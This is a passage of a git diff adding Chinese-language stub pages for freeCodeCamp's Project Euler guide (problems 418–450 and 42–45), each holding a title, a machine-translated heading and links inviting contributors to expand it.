@@ -0,0 +1,9 @@
+---
+title: Factorisation triples
+localeTitle: 三重保理
+---
+## 问题418：因子分解三倍
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-418-factorisation-triples/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-419-look-and-say-sequence/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-419-look-and-say-sequence/index.md
new file mode 100644
index 0000000000..9ba6660a51
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-419-look-and-say-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Look and say sequence
+localeTitle: 看，说顺序
+---
+## 问题419：看并说出序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-419-look-and-say-sequence/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-42-coded-triangle-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-42-coded-triangle-numbers/index.md
new file mode 100644
index 0000000000..40da776119
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-42-coded-triangle-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Coded triangle numbers
+localeTitle: 编码三角形数字
+---
+## 问题42：编码的三角形数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-42-coded-triangle-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-420-2x2-positive-integer-matrix/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-420-2x2-positive-integer-matrix/index.md
new file mode 100644
index 0000000000..78d1bfa905
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-420-2x2-positive-integer-matrix/index.md
@@ -0,0 +1,9 @@
+---
+title: 2x2 positive integer matrix
+localeTitle: 2x2正整数矩阵
+---
+## 问题420：2x2正整数矩阵
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-420-2x2-positive-integer-matrix/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-421-prime-factors-of-n151/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-421-prime-factors-of-n151/index.md
new file mode 100644
index 0000000000..d597830f2c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-421-prime-factors-of-n151/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime factors of n15+1
+localeTitle: 主要因素是n15 + 1
+---
+## 问题421：n15 + 1的素数因子
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-421-prime-factors-of-n151/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-422-sequence-of-points-on-a-hyperbola/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-422-sequence-of-points-on-a-hyperbola/index.md
new file mode 100644
index 0000000000..8c585d8ae9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-422-sequence-of-points-on-a-hyperbola/index.md
@@ -0,0 +1,9 @@
+---
+title: Sequence of points on a hyperbola
+localeTitle: 双曲线上的点序列
+---
+## 问题422：双曲线上的点序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-422-sequence-of-points-on-a-hyperbola/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-423-consecutive-die-throws/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-423-consecutive-die-throws/index.md
new file mode 100644
index 0000000000..42d060fead
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-423-consecutive-die-throws/index.md
@@ -0,0 +1,9 @@
+---
+title: Consecutive die throws
+localeTitle: 连续摔死
+---
+## 问题423：连续掷骰子
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-423-consecutive-die-throws/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-424-kakuro/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-424-kakuro/index.md
new file mode 100644
index 0000000000..c99bf006a5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-424-kakuro/index.md
@@ -0,0 +1,9 @@
+---
+title: Kakuro
+localeTitle: 数谜
+---
+## 问题424：Kakuro
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-424-kakuro/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-425-prime-connection/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-425-prime-connection/index.md
new file mode 100644
index 0000000000..e63aa7f233
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-425-prime-connection/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime connection
+localeTitle: Prime连接
+---
+## 问题425：Prime连接
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-425-prime-connection/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-426-box-ball-system/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-426-box-ball-system/index.md
new file mode 100644
index 0000000000..4400fb843d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-426-box-ball-system/index.md
@@ -0,0 +1,9 @@
+---
+title: Box-ball system
+localeTitle: 盒球系统
+---
+## 问题426：盒球系统
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-426-box-ball-system/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-427-n-sequences/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-427-n-sequences/index.md
new file mode 100644
index 0000000000..e48112ca5e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-427-n-sequences/index.md
@@ -0,0 +1,9 @@
+---
+title: n-sequences
+localeTitle: 正序列
+---
+## 问题427：n序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-427-n-sequences/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-428-necklace-of-circles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-428-necklace-of-circles/index.md
new file mode 100644
index 0000000000..4988de49e2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-428-necklace-of-circles/index.md
@@ -0,0 +1,9 @@
+---
+title: Necklace of Circles
+localeTitle: 圈子项链
+---
+## 问题428：圆圈项链
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-428-necklace-of-circles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-429-sum-of-squares-of-unitary-divisors/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-429-sum-of-squares-of-unitary-divisors/index.md
new file mode 100644
index 0000000000..91b5bc393e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-429-sum-of-squares-of-unitary-divisors/index.md
@@ -0,0 +1,9 @@
+---
+title: Sum of squares of unitary divisors
+localeTitle: 单一除数的平方和
+---
+## 问题429：单一除数的平方和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-429-sum-of-squares-of-unitary-divisors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-43-sub-string-divisibility/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-43-sub-string-divisibility/index.md
new file mode 100644
index 0000000000..b1ec70bbbd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-43-sub-string-divisibility/index.md
@@ -0,0 +1,9 @@
+---
+title: Sub-string divisibility
+localeTitle: 子串可分性
+---
+## 问题43：子串可分性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-43-sub-string-divisibility/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-430-range-flips/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-430-range-flips/index.md
new file mode 100644
index 0000000000..60aa817af6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-430-range-flips/index.md
@@ -0,0 +1,9 @@
+---
+title: Range flips
+localeTitle: 范围翻转
+---
+## 问题430：范围翻转
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-430-range-flips/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-431-square-space-silo/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-431-square-space-silo/index.md
new file mode 100644
index 0000000000..1e560307de
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-431-square-space-silo/index.md
@@ -0,0 +1,9 @@
+---
+title: Square Space Silo
+localeTitle: 方形空间筒仓
+---
+## 问题431：方形空间筒仓
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-431-square-space-silo/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-432-totient-sum/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-432-totient-sum/index.md
new file mode 100644
index 0000000000..2f81ae941e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-432-totient-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Totient sum
+localeTitle: 我欧拉
+---
+## 问题432：总和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-432-totient-sum/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-433-steps-in-euclids-algorithm/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-433-steps-in-euclids-algorithm/index.md
new file mode 100644
index 0000000000..2cf604914a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-433-steps-in-euclids-algorithm/index.md
@@ -0,0 +1,9 @@
+---
+title: Steps in Euclid's algorithm
+localeTitle: Euclid算法中的步骤
+---
+## 问题433：欧几里得算法中的步骤
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-433-steps-in-euclids-algorithm/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-434-rigid-graphs/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-434-rigid-graphs/index.md
new file mode 100644
index 0000000000..720fb8e4cb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-434-rigid-graphs/index.md
@@ -0,0 +1,9 @@
+---
+title: Rigid graphs
+localeTitle: 刚性图
+---
+## 问题434：刚性图
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-434-rigid-graphs/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-435-polynomials-of-fibonacci-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-435-polynomials-of-fibonacci-numbers/index.md
new file mode 100644
index 0000000000..f458cfc8f7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-435-polynomials-of-fibonacci-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Polynomials of Fibonacci numbers
+localeTitle: Fibonacci数的多项式
+---
+## 问题435：斐波纳契数的多项式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-435-polynomials-of-fibonacci-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-436-unfair-wager/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-436-unfair-wager/index.md
new file mode 100644
index 0000000000..4048822f1a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-436-unfair-wager/index.md
@@ -0,0 +1,9 @@
+---
+title: Unfair wager
+localeTitle: 不公平的赌注
+---
+## 问题436：不公平的赌注
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-436-unfair-wager/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-437-fibonacci-primitive-roots/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-437-fibonacci-primitive-roots/index.md
new file mode 100644
index 0000000000..f3c9030fff
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-437-fibonacci-primitive-roots/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci primitive roots
+localeTitle: Fibonacci原始根
+---
+## 问题437：Fibonacci原始根
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-437-fibonacci-primitive-roots/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-438-integer-part-of-polynomial-equations-solutions/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-438-integer-part-of-polynomial-equations-solutions/index.md
new file mode 100644
index 0000000000..8c76d4340a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-438-integer-part-of-polynomial-equations-solutions/index.md
@@ -0,0 +1,9 @@
+---
+title: Integer part of polynomial equation's solutions
+localeTitle: 多项式方程解的整数部分
+---
+## 问题438：多项式方程解的整数部分
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-438-integer-part-of-polynomial-equations-solutions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-439-sum-of-sum-of-divisors/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-439-sum-of-sum-of-divisors/index.md
new file mode 100644
index 0000000000..b7b95b20fd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-439-sum-of-sum-of-divisors/index.md
@@ -0,0 +1,9 @@
+---
+title: Sum of sum of divisors
+localeTitle: 除数之和的总和
+---
+## 问题439：除数之和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-439-sum-of-sum-of-divisors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-44-pentagon-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-44-pentagon-numbers/index.md
new file mode 100644
index 0000000000..e762a99ad1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-44-pentagon-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Pentagon numbers
+localeTitle: 五角大楼数字
+---
+## 问题44：五角大楼数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-44-pentagon-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-440-gcd-and-tiling/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-440-gcd-and-tiling/index.md
new file mode 100644
index 0000000000..ae9d45c8a6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-440-gcd-and-tiling/index.md
@@ -0,0 +1,9 @@
+---
+title: GCD and Tiling
+localeTitle: GCD和平铺
+---
+## 问题440：GCD和平铺
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-440-gcd-and-tiling/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-441-the-inverse-summation-of-coprime-couples/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-441-the-inverse-summation-of-coprime-couples/index.md
new file mode 100644
index 0000000000..9ccc19ee10
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-441-the-inverse-summation-of-coprime-couples/index.md
@@ -0,0 +1,9 @@
+---
+title: The inverse summation of coprime couples
+localeTitle: 互质夫妇的反向总和
+---
+## 问题441：互质夫妇的反向总和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-441-the-inverse-summation-of-coprime-couples/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-442-eleven-free-integers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-442-eleven-free-integers/index.md
new file mode 100644
index 0000000000..b28bdd8dfa
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-442-eleven-free-integers/index.md
@@ -0,0 +1,9 @@
+---
+title: Eleven-free integers
+localeTitle: 十一个整数
+---
+## 问题442：十一个整数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-442-eleven-free-integers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-443-gcd-sequence/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-443-gcd-sequence/index.md
new file mode 100644
index 0000000000..b46c369f8f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-443-gcd-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: GCD sequence
+localeTitle: GCD序列
+---
+## 问题443：GCD序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-443-gcd-sequence/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-444-the-roundtable-lottery/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-444-the-roundtable-lottery/index.md
new file mode 100644
index 0000000000..03ea4c5ab0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-444-the-roundtable-lottery/index.md
@@ -0,0 +1,9 @@
+---
+title: The Roundtable Lottery
+localeTitle: 圆桌彩票
+---
+## 问题444：圆桌会议彩票
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-444-the-roundtable-lottery/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-445-retractions-a/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-445-retractions-a/index.md
new file mode 100644
index 0000000000..d9c9b6f749
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-445-retractions-a/index.md
@@ -0,0 +1,9 @@
+---
+title: Retractions A
+localeTitle: 撤回A.
+---
+## 问题445：撤回A.
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-445-retractions-a/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-446-retractions-b/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-446-retractions-b/index.md
new file mode 100644
index 0000000000..2d31db7533
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-446-retractions-b/index.md
@@ -0,0 +1,9 @@
+---
+title: Retractions B
+localeTitle: 撤回B.
+---
+## 问题446：撤回B.
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-446-retractions-b/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-447-retractions-c/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-447-retractions-c/index.md
new file mode 100644
index 0000000000..c80caa3b37
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-447-retractions-c/index.md
@@ -0,0 +1,9 @@
+---
+title: Retractions C
+localeTitle: 撤回C.
+---
+## 问题447：撤回C.
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-447-retractions-c/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-448-average-least-common-multiple/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-448-average-least-common-multiple/index.md
new file mode 100644
index 0000000000..d20419629f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-448-average-least-common-multiple/index.md
@@ -0,0 +1,9 @@
+---
+title: Average least common multiple
+localeTitle: 平均最小公倍数
+---
+## 问题448：平均最小公倍数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-448-average-least-common-multiple/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-449-chocolate-covered-candy/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-449-chocolate-covered-candy/index.md
new file mode 100644
index 0000000000..17e3f67aa0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-449-chocolate-covered-candy/index.md
@@ -0,0 +1,9 @@
+---
+title: Chocolate covered candy
+localeTitle: 巧克力糖果
+---
+## 问题449：巧克力糖果
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-449-chocolate-covered-candy/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-45-triangular-pentagonal-and-hexagonal/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-45-triangular-pentagonal-and-hexagonal/index.md
new file mode 100644
index 0000000000..fab31c18ae
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-45-triangular-pentagonal-and-hexagonal/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangular, pentagonal, and hexagonal
+localeTitle: 三角形，五角形和六角形
+---
+## 问题45：三角形，五边形和六边形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-45-triangular-pentagonal-and-hexagonal/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-450-hypocycloid-and-lattice-points/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-450-hypocycloid-and-lattice-points/index.md
new file mode 100644
index 0000000000..8b564a9b02
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-450-hypocycloid-and-lattice-points/index.md
@@ -0,0 +1,9 @@
+---
+title: Hypocycloid and Lattice points
+localeTitle: Hypocycloid和Lattice点
+---
+## 问题450：Hypocycloid和Lattice点
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-450-hypocycloid-and-lattice-points/index.md) 。
+
